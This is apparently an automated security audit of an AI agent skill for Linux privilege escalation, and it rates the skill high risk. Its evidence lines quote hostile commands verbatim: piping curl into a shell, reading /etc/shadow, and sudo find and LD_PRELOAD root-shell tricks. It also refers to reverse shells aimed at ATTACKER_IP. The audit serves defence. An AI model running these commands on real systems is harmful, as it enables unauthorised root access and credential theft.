Linux Privilege Escalation
Fail
Audited by Gen Agent Trust Hub on Apr 15, 2026
Risk Level: HIGHREMOTE_CODE_EXECUTIONEXTERNAL_DOWNLOADSDATA_EXFILTRATIONCOMMAND_EXECUTION
Full Analysis
- [REMOTE_CODE_EXECUTION]: Executes remote scripts by piping curl output directly into a shell, which bypasses verification of the downloaded content.
- Evidence:
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | shin SKILL.md. - [DATA_EXFILTRATION]: Provides multiple methods for establishing reverse shells to external attacker-controlled IP addresses, enabling remote control and data theft.
- Evidence: Bash, Python, Netcat, and Perl reverse shell one-liners using
ATTACKER_IPin SKILL.md. - [DATA_EXFILTRATION]: Instructs the agent to read highly sensitive system files, including the shadow password file.
- Evidence: Commands like
base64 /etc/shadow | base64 -dused for harvesting password hashes in SKILL.md. - [EXTERNAL_DOWNLOADS]: Fetches various enumeration scripts and exploit source code from external GitHub repositories and user-defined attacker IPs.
- Evidence: Use of
wgetandcurlto downloadlinpeas.sh,LinEnum.sh, andexploit.cfrom non-whitelisted sources in SKILL.md. - [COMMAND_EXECUTION]: Employs techniques to execute arbitrary system commands with root privileges through sudo misconfigurations, SUID binaries, and shared library injection.
- Evidence: Use of
sudo find . -exec /bin/sh \;,sudo LD_PRELOAD=/tmp/shell.so find, and SUID exploitation patterns in SKILL.md.
Recommendations
- HIGH: Downloads and executes remote code from: https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh - DO NOT USE without thorough review
- AI detected serious security threats
Audit Metadata